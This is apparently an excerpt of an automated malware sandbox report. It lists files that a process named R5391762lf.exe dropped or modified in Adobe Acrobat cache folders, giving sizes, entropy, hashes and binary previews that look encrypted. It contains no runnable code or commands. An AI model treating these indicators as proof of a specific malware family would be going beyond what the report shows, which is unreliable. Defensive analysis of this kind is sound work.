Entropy (8bit):	7.685966979889274
Encrypted:	false
SSDEEP:	12:kS7OS7gifwm4CfL39FpNAbFR23fHHWD46KBfGj3JuXqOTuWcii9a:D37TtfL39FHAbFR2vYaO3JuXq8uWbD
MD5:	788B4C4F2B699A38ECEC47F3B9DAE7C0
SHA1:	D53055EC1ECEBC3B9101A7E31FB40EB18FAE2ABA
SHA-256:	F0274AD3F4F46C20927B9DFC3BA219A35E07FCBF3A7D8E79D2746CDD19A51220
SHA-512:	FBAC1F1AACF8818D8CA55103E96607A087DD94F7C355A855F71C35BAD81347666355685E96657FFFCC16DA917C9817227403C283422E32D2C93EC12DDA334D82
Malicious:	false
Preview:	2023/....Y....$8....c..EK9.....~.....-..h...m..I..kD.K.y..M...k.......T....RG$..h...(..5....0`M.....j.wlZ......n....#...]]. .BkU=.&.N....75..4...^....x....V EBr..7..@..bq.%M.....^......m..B.D....".Q...QR....k..g.\|.W..q..Mu.....`.'.Hz....$.3]]*?......s..je.........~.,....-.D..A}..Q....Yw....d...N..O.....o.....G.Lp....L.2........J......[....q!...08....\.Ct..Mn>..8.x.......`....e.$..]..6.y.g..j..u^.....DmZ.0.}#..sh.r..,qW/....V............@W.G.....=.<1.#3.!..v..K.3.....X.z.............iO......RX Ya.O...rf..PT~...]......R!c..s.\zV.".1...11@...dTW,...doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	672
Entropy (8bit):	7.685966979889274
Encrypted:	false
SSDEEP:	12:kS7OS7gifwm4CfL39FpNAbFR23fHHWD46KBfGj3JuXqOTuWcii9a:D37TtfL39FHAbFR2vYaO3JuXq8uWbD
MD5:	788B4C4F2B699A38ECEC47F3B9DAE7C0
SHA1:	D53055EC1ECEBC3B9101A7E31FB40EB18FAE2ABA
SHA-256:	F0274AD3F4F46C20927B9DFC3BA219A35E07FCBF3A7D8E79D2746CDD19A51220
SHA-512:	FBAC1F1AACF8818D8CA55103E96607A087DD94F7C355A855F71C35BAD81347666355685E96657FFFCC16DA917C9817227403C283422E32D2C93EC12DDA334D82
Malicious:	false
Preview:	2023/....Y....$8....c..EK9.....~.....-..h...m..I..kD.K.y..M...k.......T....RG$..h...(..5....0`M.....j.wlZ......n....#...]]. .BkU=.&.N....75..4...^....x....V EBr..7..@..bq.%M.....^......m..B.D....".Q...QR....k..g.\|.W..q..Mu.....`.'.Hz....$.3]]*?......s..je.........~.,....-.D..A}..Q....Yw....d...N..O.....o.....G.Lp....L.2........J......[....q!...08....\.Ct..Mn>..8.x.......`....e.$..]..6.y.g..j..u^.....DmZ.0.}#..sh.r..,qW/....V............@W.G.....=.<1.#3.!..v..K.3.....X.z.............iO......RX Ya.O...rf..PT~...]......R!c..s.\zV.".1...11@...dTW,...doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.697671340343744
Encrypted:	false
SSDEEP:	24:YKWAtpDEQCF74VxfGUFnACBpJCGRg82dT+mXKVXheXq8uWbD:YityQCilF7LgRTraJheXFuED
MD5:	8E823B25D45DC27C4F4B1352FA1CAC7A
SHA1:	50A8B4034D19A4BA4EE5149ABC43A9AA5E5F4C11
SHA-256:	5FA851ED8A2CB1017923BAE9912F541C41024436489CF7FE6C03E2AFD5259BC9
SHA-512:	463419BEB2EE2FC9D84701A39C1AEF35DF14E6AF3B0DEDF49E4DF85C493DC2C396EE38044FB855A160FD6C4501C9FD24D06CF499BF4C319C6119D653B317ABE7
Malicious:	false
Preview:	{"os_u...k.P..c.p.}#.j..A.(..k>...~G@.......p...\|....&..{8.....Jl.@...o.F.?...o..$\|.K.i;bj..orJ)...aElc.....z.....M..6K...d....D.t1.3.0..2.a.o..h.c..)4!..+\|...SW...8.Z....)\{c.S.6..}...v..^[.....z.=.....q'.oTW.T...DF._..*==}.?+......MxU...n....i.:...O.h,.j.e.~.=.......z2..tv.8{.Z.....Tg.......=!.h...../.j.:....?...U(.2.p...Zh.l.......Yn..].bm..&....m....S.D.m.B.....$...#.~...r.k..]..n...G<.r...Ag.K............K.O....4...M.O..{..5.e....6...P?.m].Q.%O\|....`ye"=nr\|.....e......<.......]0K..5......1.."D...Y/B.Z.L..H]87O6.Zr......<...\|.M.O....G\|>..Y@'.p......./`s_..E9.<..i.."..P..r.}.<.7.cT@.......q^.Qz.K.`.p..G.^>C..........p.:......N..+..}g.n...r........D(.>e......^cr/....6........."%M...doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.697671340343744
Encrypted:	false
SSDEEP:	24:YKWAtpDEQCF74VxfGUFnACBpJCGRg82dT+mXKVXheXq8uWbD:YityQCilF7LgRTraJheXFuED
MD5:	8E823B25D45DC27C4F4B1352FA1CAC7A
SHA1:	50A8B4034D19A4BA4EE5149ABC43A9AA5E5F4C11
SHA-256:	5FA851ED8A2CB1017923BAE9912F541C41024436489CF7FE6C03E2AFD5259BC9
SHA-512:	463419BEB2EE2FC9D84701A39C1AEF35DF14E6AF3B0DEDF49E4DF85C493DC2C396EE38044FB855A160FD6C4501C9FD24D06CF499BF4C319C6119D653B317ABE7
Malicious:	false
Preview:	{"os_u...k.P..c.p.}#.j..A.(..k>...~G@.......p...\|....&..{8.....Jl.@...o.F.?...o..$\|.K.i;bj..orJ)...aElc.....z.....M..6K...d....D.t1.3.0..2.a.o..h.c..)4!..+\|...SW...8.Z....)\{c.S.6..}...v..^[.....z.=.....q'.oTW.T...DF._..*==}.?+......MxU...n....i.:...O.h,.j.e.~.=.......z2..tv.8{.Z.....Tg.......=!.h...../.j.:....?...U(.2.p...Zh.l.......Yn..].bm..&....m....S.D.m.B.....$...#.~...r.k..]..n...G<.r...Ag.K............K.O....4...M.O..{..5.e....6...P?.m].Q.%O\|....`ye"=nr\|.....e......<.......]0K..5......1.."D...Y/B.Z.L..H]87O6.Zr......<...\|.M.O....G\|>..Y@'.p......./`s_..E9.<..i.."..P..r.}.<.7.cT@.......q^.Qz.K.`.p..G.^>C..........p.:......N..+..}g.n...r........D(.>e......^cr/....6........."%M...doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	3726
Entropy (8bit):	7.9529271531624115
Encrypted:	false
SSDEEP:	96:4/s6cUAsG0VgMgVuoRi6XYUZZtVwaMNVaJd/tHrFDFuQ:FjU/9VglVuaJX17pFYQ
MD5:	4FEA0F4C239A6CC3990720CF43C9BF33
SHA1:	BC97F6A6FB207B5F4BC55A448A00EB64320FC2D0
SHA-256:	6B74F989343D97489BD6CCE30F2EC25D82F276B496E49AFF6589F07344EFC933
SHA-512:	DF2B4E6AB317D52D62F7F4110840FB1D6B38AE4ED08737AD50AAEB0C08880967654939259B5B7F347E30B6EB22F788E5F46898CE740D5C470CD141A39F4D9FB9
Malicious:	false
Preview:	...#......{..f.W...#y8.\|H....l....#a......J...s..!....>...t...........u\.7...z.p.IB.yo.....,iMH..9....d3}.i...Q/.E...'t+5..i.z9dG.....(...Xl.../i.....W.)-.k_.Z.L...&P.$.mL..B.%..\.."..m...%d..~vQ.["v.r..g..~y.m...M.=.D..u...L...UG..P.....Zl...."...x.N.K..I..n..e.@F....W.....Y.......z..P..nJ"f..I..+G/.......K....).C"..'...9.../.....&<.u.W.N...s.y@....<.V .U.u..8.+^...DO..g...^.E.........M..3cnF.hx.YX.U..[r.R{.N...!:~.)r..]YK+..ex9jjxx...D.p.i.~.`Aii.).Yci.8.7..o...........nwX.oIM.E(..[.....!...]....5x.:..s:..!..a67.....qjT.oW.@.'...55g~.O.W..gC..!...c8.....S.............k......=.,........L..10.Da:.q.:u&..Q../.............I...)tMQ.R.t..j..../eY.^...yn...z@....&...kT...!...D+........M`...:.Y.x]....o..^......cq..l...."P$..`....q.%C..`,.c...m..i...J..`N..D.......=.]j\|(.1=h.#......Q.)..,N.[..Q....v...............`..(..I...\|.].....K-...%o...\|B[O`..<.vb.{7..y.7:.y...hc..oi.....f.].YzM.)......2,bAE.\|J....M.B[.-.zf*.1.6.Pn.O..o<...9..

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	3726
Entropy (8bit):	7.9529271531624115
Encrypted:	false
SSDEEP:	96:4/s6cUAsG0VgMgVuoRi6XYUZZtVwaMNVaJd/tHrFDFuQ:FjU/9VglVuaJX17pFYQ
MD5:	4FEA0F4C239A6CC3990720CF43C9BF33
SHA1:	BC97F6A6FB207B5F4BC55A448A00EB64320FC2D0
SHA-256:	6B74F989343D97489BD6CCE30F2EC25D82F276B496E49AFF6589F07344EFC933
SHA-512:	DF2B4E6AB317D52D62F7F4110840FB1D6B38AE4ED08737AD50AAEB0C08880967654939259B5B7F347E30B6EB22F788E5F46898CE740D5C470CD141A39F4D9FB9
Malicious:	false
Preview:	...#......{..f.W...#y8.\|H....l....#a......J...s..!....>...t...........u\.7...z.p.IB.yo.....,iMH..9....d3}.i...Q/.E...'t+5..i.z9dG.....(...Xl.../i.....W.)-.k_.Z.L...&P.$.mL..B.%..\.."..m...%d..~vQ.["v.r..g..~y.m...M.=.D..u...L...UG..P.....Zl...."...x.N.K..I..n..e.@F....W.....Y.......z..P..nJ"f..I..+G/.......K....).C"..'...9.../.....&<.u.W.N...s.y@....<.V .U.u..8.+^...DO..g...^.E.........M..3cnF.hx.YX.U..[r.R{.N...!:~.)r..]YK+..ex9jjxx...D.p.i.~.`Aii.).Yci.8.7..o...........nwX.oIM.E(..[.....!...]....5x.:..s:..!..a67.....qjT.oW.@.'...55g~.O.W..gC..!...c8.....S.............k......=.,........L..10.Da:.q.:u&..Q../.............I...)tMQ.R.t..j..../eY.^...yn...z@....&...kT...!...D+........M`...:.Y.x]....o..^......cq..l...."P$..`....q.%C..`,.c...m..i...J..`N..D.......=.]j\|(.1=h.#......Q.)..,N.[..Q....v...............`..(..I...\|.].....K-...%o...\|B[O`..<.vb.{7..y.7:.y...hc..oi.....f.].YzM.)......2,bAE.\|J....M.B[.-.zf*.1.6.Pn.O..o<...9..

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	660
Entropy (8bit):	7.637729442130261
Encrypted:	false
SSDEEP:	12:kGXQw1zUuPbsj1qpw98fNBpaxpe70oiG82zembNDWW0tOMFOIjbSzXqOTuWcii9a:FXQUz7Vi98JynGzemhiW0tOMF7jbSzXp
MD5:	1F006C4FAD3298B41D5E793F2ED44DE9
SHA1:	894EA9503A6C26B74970B42FC1C711DC00544ABF
SHA-256:	333ABFFD2C65369EEE66D5AF2C038B67578EE68DAF5CFBFB4F50581DE7B6C262
SHA-512:	3E44BE3CB9BFB8F655010DE8201FB160F65B7366ADFAF577A279E14F5FD7EE33CBB471042431F1AAE3EEE4BAEC7C887EA48F5B1932A9ED7E80A58D962D2CE152
Malicious:	false
Preview:	2023/.W..;:...j....}...h.S)..'a..._....%..i..R......6.....N...\7..n8\|T\..&X.LTDV..u.?..4..V).;C.w...TJ..D=.4.....@...N ..f.s.......g!.P....0...5..F.%....l.j.j..6.ri.....``oq.W..8.=J.ar/.L!..#49K.PA..g....{.8v.......Y...oQ..g....Y...F...y.a......XY..K5L....{......J..@......V..3.].W..8...(.u.Z"....I4b.%...SqCE....[N;..ez.=M!...^.g...g].#...n?...A..+.@0.....K....%.q.b..Sck.a.8ak0.....Y..B."..$...(.....2..Q]...._q\.~..Y;..G? H...K.-..p.]nF..>8./`..D.. .7V.xu..J..1.,...b....".E.D.b.f>.M.._.....n;...7.J"`...8'...n..-.V.}Dz..vKD...dL=..zN.o3..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	660
Entropy (8bit):	7.637729442130261
Encrypted:	false
SSDEEP:	12:kGXQw1zUuPbsj1qpw98fNBpaxpe70oiG82zembNDWW0tOMFOIjbSzXqOTuWcii9a:FXQUz7Vi98JynGzemhiW0tOMF7jbSzXp
MD5:	1F006C4FAD3298B41D5E793F2ED44DE9
SHA1:	894EA9503A6C26B74970B42FC1C711DC00544ABF
SHA-256:	333ABFFD2C65369EEE66D5AF2C038B67578EE68DAF5CFBFB4F50581DE7B6C262
SHA-512:	3E44BE3CB9BFB8F655010DE8201FB160F65B7366ADFAF577A279E14F5FD7EE33CBB471042431F1AAE3EEE4BAEC7C887EA48F5B1932A9ED7E80A58D962D2CE152
Malicious:	false
Preview:	2023/.W..;:...j....}...h.S)..'a..._....%..i..R......6.....N...\7..n8\|T\..&X.LTDV..u.?..4..V).;C.w...TJ..D=.4.....@...N ..f.s.......g!.P....0...5..F.%....l.j.j..6.ri.....``oq.W..8.=J.ar/.L!..#49K.PA..g....{.8v.......Y...oQ..g....Y...F...y.a......XY..K5L....{......J..@......V..3.].W..8...(.u.Z"....I4b.%...SqCE....[N;..ez.=M!...^.g...g].#...n?...A..+.@0.....K....%.q.b..Sck.a.8ak0.....Y..B."..$...(.....2..Q]...._q\.~..Y;..G? H...K.-..p.]nF..>8./`..D.. .7V.xu..J..1.,...b....".E.D.b.f>.M.._.....n;...7.J"`...8'...n..-.V.}Dz..vKD...dL=..zN.o3..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\000003.log

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	440
Entropy (8bit):	7.429971135347436
Encrypted:	false
SSDEEP:	12:2ZT0sMKIa/IcJ/+vR852W8SxG5kj94xS3MRSSXqOTuWcii9a:2ZTFd/Iq/+vRojxG5kEI7SXq8uWbD
MD5:	95BCA750BF36C8F398A6F75B6C0AFBFD
SHA1:	F5E78DED9B26D167229B6E21DACA3EBEB7C03B48
SHA-256:	50C6EA16F0AC5F17C8D6CEE908E78A3B6A25F7E071AE8D4D9472508E13726143
SHA-512:	70094B7078E27801883F3248882D30FF1A0367D5BD905A4DFD369F3B81FE1F95A1D42D882AC802627D877B13C266E55A8CA203494690D1B2B204F0C943FE70BE
Malicious:	false
Preview:	..} ....cm...(?Z.....D...........{!...'&..V.-.b.......P..:d.../zI...*..>CS..R.1...g}.+#.j.P.h....p&..NdE.#.#..FcX.....S...D.T...e.....w...,>.e.L..........$8\.z..5....D.Y{.Z..%.....U.t....../.H...=.....m.......Dg..o.%....!.u.!P...76.\|DW.3....#...z.h.{....O.._e...O.TR>O}.EJE.i.E..r..y...Y..ZN.6d+..9d).9...l2....z.y@.4$..Y%.K.....Gf[....6G...!.....0doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\000003.log.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	440
Entropy (8bit):	7.429971135347436
Encrypted:	false
SSDEEP:	12:2ZT0sMKIa/IcJ/+vR852W8SxG5kj94xS3MRSSXqOTuWcii9a:2ZTFd/Iq/+vRojxG5kEI7SXq8uWbD
MD5:	95BCA750BF36C8F398A6F75B6C0AFBFD
SHA1:	F5E78DED9B26D167229B6E21DACA3EBEB7C03B48
SHA-256:	50C6EA16F0AC5F17C8D6CEE908E78A3B6A25F7E071AE8D4D9472508E13726143
SHA-512:	70094B7078E27801883F3248882D30FF1A0367D5BD905A4DFD369F3B81FE1F95A1D42D882AC802627D877B13C266E55A8CA203494690D1B2B204F0C943FE70BE
Malicious:	false
Preview:	..} ....cm...(?Z.....D...........{!...'&..V.-.b.......P..:d.../zI...*..>CS..R.1...g}.+#.j.P.h....p&..NdE.#.#..FcX.....S...D.T...e.....w...,>.e.L..........$8\.z..5....D.Y{.Z..%.....U.t....../.H...=.....m.......Dg..o.%....!.u.!P...76.\|DW.3....#...z.h.{....O.._e...O.TR>O}.EJE.i.E..r..y...Y..ZN.6d+..9d).9...l2....z.y@.4$..Y%.K.....Gf[....6G...!.....0doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	619
Entropy (8bit):	7.592579144372488
Encrypted:	false
SSDEEP:	12:kLmDEM1spRH215HLwXnFfLDcOo+QhHNEqC9UTuNIl/ADvf/64YlHBeCfIKzXqOTX:kmDE02h215wZ0F+QhHNELCuNqADHS4Yp
MD5:	F4CA4C7C4DFA0B5286E882A06F426A59
SHA1:	9A015D689027309FAD116D64D10DC18DEF19E30D
SHA-256:	23532DBA529C4D50A22C42CB0BD9AC2D797B0F12E5347A3A55933ECAE88539C9
SHA-512:	C34325F7F1ABBE6391768632E96C0D1728816F7D5A92C00FC3282108217DC0A35D8CEDEA3F6E01C92DFA8687B6AF0D06E02C07A29731A1054DC79B3312DBEF92
Malicious:	false
Preview:	2023/..1....&]J.....<w...k...U.&..bI=Y.<..T+...........@..b.!.1..8:...P..H....b4.....9@a..Y\GO.~T(H...QR\.5u..-36..G./.C^..jC.U.).....D.#.>).RC.<..G)D.....g...K...._"...L.Y..W...]q.~(M......7.............E...B..v.>..Of......Yjn.3..u..WtL.P....@.....-....\|4....B.a.A....kt......9:A....{.i.W..'r.........%..../.T....A..H....).d.y!:1_....6....~......m........Q.\d..`.u.....Dk..... ..s#.3.uR..uZ..nj.5.q.w..K......^.3{......+....f......zC94...~+'!H.."...{........:..=.....(.C..d....U....`7......Y...!.....1.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\LOG.old.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	619
Entropy (8bit):	7.592579144372488
Encrypted:	false
SSDEEP:	12:kLmDEM1spRH215HLwXnFfLDcOo+QhHNEqC9UTuNIl/ADvf/64YlHBeCfIKzXqOTX:kmDE02h215wZ0F+QhHNELCuNqADHS4Yp
MD5:	F4CA4C7C4DFA0B5286E882A06F426A59
SHA1:	9A015D689027309FAD116D64D10DC18DEF19E30D
SHA-256:	23532DBA529C4D50A22C42CB0BD9AC2D797B0F12E5347A3A55933ECAE88539C9
SHA-512:	C34325F7F1ABBE6391768632E96C0D1728816F7D5A92C00FC3282108217DC0A35D8CEDEA3F6E01C92DFA8687B6AF0D06E02C07A29731A1054DC79B3312DBEF92
Malicious:	false
Preview:	2023/..1....&]J.....<w...k...U.&..bI=Y.<..T+...........@..b.!.1..8:...P..H....b4.....9@a..Y\GO.~T(H...QR\.5u..-36..G./.C^..jC.U.).....D.#.>).RC.<..G)D.....g...K...._"...L.Y..W...]q.~(M......7.............E...B..v.>..Of......Yjn.3..u..WtL.P....@.....-....\|4....B.a.A....kt......9:A....{.i.W..'r.........%..../.T....A..H....).d.y!:1_....6....~......m........Q.\d..`.u.....Dk..... ..s#.3.uR..uZ..nj.5.q.w..K......^.3{......+....f......zC94...~+'!H.."...{........:..=.....(.C..d....U....`7......Y...!.....1.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	494
Entropy (8bit):	7.535903816982577
Encrypted:	false
SSDEEP:	12:GJpgi9TW4T8lg//TP0Pu+HquXVLs76SSt0+rG1KXqOTuWcii9a:GJpgA8lSPp+HqoVLs76f0+S1KXq8uWbD
MD5:	7C7382F46687C6BBB1861ED2A7668D99
SHA1:	7104D845C636D2A6069A333BDCE3E59DF62A0648
SHA-256:	FD30597209AB07227B4D4C547C2CD9AAC46206A9FBABA138AB2C27B4F952592D
SHA-512:	01BEB480702D83B070679E77D165A5E704EF5EE476BB683CC078CA73195B01708704BE9491158A05069AEF6454CF76385D245D38365E940F99401057F409FAC5
Malicious:	false
Preview:	.h.6....5..5.Q.P.X..4X..Q,].Y".@..#iM.;...i....$X.2..QS.._..~..Cq..w....7.bN.K.'.1.S.....d~e1....7_..m.Z...;.....6u...\|.?...J.w.+...d^p.Z...j.\|....$...#~/.Q.h.g.Z.._..]..u..z../..A.O..v?.!qo..".S\.m...v]OT'...ZT..<...!....N.h...........)...u.1i]..z8-.../...l.Pc..>...,.G.E`3....WD.H\|]..Z}L..+2....[a.%...`..$...i.G..t....D..b.Z..w.D..m.B8[.se.j./of...~..up.n&.Rh....G.f...I........ .....l..D.=doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\000003.log.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	494
Entropy (8bit):	7.535903816982577
Encrypted:	false
SSDEEP:	12:GJpgi9TW4T8lg//TP0Pu+HquXVLs76SSt0+rG1KXqOTuWcii9a:GJpgA8lSPp+HqoVLs76f0+S1KXq8uWbD
MD5:	7C7382F46687C6BBB1861ED2A7668D99
SHA1:	7104D845C636D2A6069A333BDCE3E59DF62A0648
SHA-256:	FD30597209AB07227B4D4C547C2CD9AAC46206A9FBABA138AB2C27B4F952592D
SHA-512:	01BEB480702D83B070679E77D165A5E704EF5EE476BB683CC078CA73195B01708704BE9491158A05069AEF6454CF76385D245D38365E940F99401057F409FAC5
Malicious:	false
Preview:	.h.6....5..5.Q.P.X..4X..Q,].Y".@..#iM.;...i....$X.2..QS.._..~..Cq..w....7.bN.K.'.1.S.....d~e1....7_..m.Z...;.....6u...\|.?...J.w.+...d^p.Z...j.\|....$...#~/.Q.h.g.Z.._..]..u..z../..A.O..v?.!qo..".S\.m...v]OT'...ZT..<...!....N.h...........)...u.1i]..z8-.../...l.Pc..>...,.G.E`3....WD.H\|]..Z}L..+2....[a.%...`..$...i.G..t....D..b.Z..w.D..m.B8[.se.j./of...~..up.n&.Rh....G.f...I........ .....l..D.=doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	modified
Size (bytes):	637
Entropy (8bit):	7.632839957202933
Encrypted:	false
SSDEEP:	12:kqJoO0dQytYsHNdRCtZU5ef6BwEoY4kkBdioRy9Hh4dyHwqo5HQaKXqOTuWcii9a:fl0distdR+1XBwoRy9BQeMQzXq8uWbD
MD5:	BCDEB05639EE4464CB4EAA5B733E59AF
SHA1:	12D403180484718399BF287A067F5C373404655D
SHA-256:	6F504948B44C5B5D8AAFACBEAA0B7933978D100C3FFC51F70AB7848502BDB2E9
SHA-512:	F149648E30AE2952E9289E883DF4DD5A21C6D961A193EA63E49B8BDC39F02061A9772AB74E712027BCDCD963D18514529325C75E426F493B482457F061518304
Malicious:	false
Preview:	2023/..U&....?....._FR..A.}../.........>.v.<..-......@.b....J........<> ..{,...d.t..........J....{...q..A.,G.Rd(v..m.V.2...J....TH...>ov.....\|:o....J...t},Tx.A.3.`.3.\|...M...T......E.n..;h.9...Y.(..(>.L......1.r..R_.\ZX......&Z......1.5..2...y~I3z....dyS..v(...OF.r25U8.?...T.xoH.....0...J/........U`H...A......s......e.l....k......d.,.DO1..../%O.G.b..[..wV.1.N7.X..T=..Z.6b.M..0..P.T6=o=.:..V..^..c..~....4.Rl..Gh..:wKy_.OV....'.........B..5..H....\..K._..:8%..(...,...8....f>........x..Pm.......[r.".?..)..o...)[..!.*..%9.1.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\LOG.old.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	637
Entropy (8bit):	7.632839957202933
Encrypted:	false
SSDEEP:	12:kqJoO0dQytYsHNdRCtZU5ef6BwEoY4kkBdioRy9Hh4dyHwqo5HQaKXqOTuWcii9a:fl0distdR+1XBwoRy9BQeMQzXq8uWbD
MD5:	BCDEB05639EE4464CB4EAA5B733E59AF
SHA1:	12D403180484718399BF287A067F5C373404655D
SHA-256:	6F504948B44C5B5D8AAFACBEAA0B7933978D100C3FFC51F70AB7848502BDB2E9
SHA-512:	F149648E30AE2952E9289E883DF4DD5A21C6D961A193EA63E49B8BDC39F02061A9772AB74E712027BCDCD963D18514529325C75E426F493B482457F061518304
Malicious:	false
Preview:	2023/..U&....?....._FR..A.}../.........>.v.<..-......@.b....J........<> ..{,...d.t..........J....{...q..A.,G.Rd(v..m.V.2...J....TH...>ov.....\|:o....J...t},Tx.A.3.`.3.\|...M...T......E.n..;h.9...Y.(..(>.L......1.r..R_.\ZX......&Z......1.5..2...y~I3z....dyS..v(...OF.r25U8.?...T.xoH.....0...J/........U`H...A......s......e.l....k......d.,.DO1..../%O.G.b..[..wV.1.N7.X..T=..Z.6b.M..0..P.T6=o=.:..V..^..c..~....4.Rl..Gh..:wKy_.OV....'.........B..5..H....\..K._..:8%..(...,...8....f>........x..Pm.......[r.".?..)..o...)[..!.*..%9.1.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\.curlrc

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	342
Entropy (8bit):	7.235091699529914
Encrypted:	false
SSDEEP:	6:KWELvhHwdktOsva6wIocylHUVmQLeKorNOPCaicybmtXqHk7T3eWcii96Z:NZKw6wVxUVkKYmCzsXqOTuWcii9a
MD5:	330BAB11F238082DC60A8BBE5AAEBB24
SHA1:	826CD181A9F6C929649391F560F59554DCF6A602
SHA-256:	CE1BA8A1D4813DA2C5D8442C9516797FB7D36F6353EA3B0751084CE6F7219DDE
SHA-512:	196C9EFFE32896461C6F010D870B9A66623B23171F30A4067EE3E3B46760B2C291CA11C90A3AE3DD81875116A4FAD6FD638931129C649C69230E59EA2DF61D50
Malicious:	false
